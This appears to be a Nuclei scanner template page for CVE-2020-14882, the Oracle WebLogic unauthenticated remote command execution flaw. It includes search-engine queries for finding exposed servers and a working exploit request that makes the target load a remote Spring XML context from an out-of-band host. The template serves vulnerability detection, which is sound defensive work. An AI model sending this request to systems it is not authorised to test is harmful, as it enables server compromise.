Oracle Weblogic Server - Remote Command Execution

ID: CVE-2020-14882

Severity: critical

Author: dwisiswant0

Tags: cve2020,cve,oracle,rce,weblogic,oast,kev

Description

Oracle WebLogic Server contains an easily exploitable remote command execution vulnerability which allows unauthenticated attackers with network access via HTTP to compromise the server.

YAML Source

id: CVE-2020-14882

info:
  name: Oracle Weblogic Server - Remote Command Execution
  author: dwisiswant0
  severity: critical
  description: Oracle WebLogic Server contains an easily exploitable remote command execution vulnerability which allows unauthenticated attackers with network access via HTTP to compromise the server.
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands with the privileges of the affected application.
  remediation: |
    Apply the latest security patches provided by Oracle to fix the vulnerability.
  reference:
    - https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf
    - https://www.oracle.com/security-alerts/cpuoct2020.html
    - https://twitter.com/jas502n/status/1321416053050667009
    - https://youtu.be/JFVDOIL0YtA
    - https://github.com/jas502n/CVE-2020-14882#eg
    - https://nvd.nist.gov/vuln/detail/CVE-2020-14882
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-14882
    epss-score: 0.9739
    epss-percentile: 0.99906
    cpe: cpe:2.3:a:oracle:weblogic_server:10.3.6.0.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: oracle
    product: weblogic_server
    shodan-query:
      - http.title:"oracle peoplesoft sign-in"
      - product:"oracle weblogic"
    fofa-query: title="oracle peoplesoft sign-in"
    google-query: intitle:"oracle peoplesoft sign-in"
  tags: cve2020,cve,oracle,rce,weblogic,oast,kev

http:
  - method: GET
    path:
      - "{{BaseURL}}/console/images/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext('http://{{interactsh-url}}')"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "ADMINCONSOLESESSION"

      - type: word
        part: interactsh_protocol
        words:
          - "http"
# digest: 4b0a00483046022100a83468cbaf47608561f4e428830f727b068bef38d1ed581f581da05903d76008022100ae5fe45d2d4f5a00ec6bb0ac3950f6d63163c9a1c30f98a08591f84f2002644c:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-14882.yaml"

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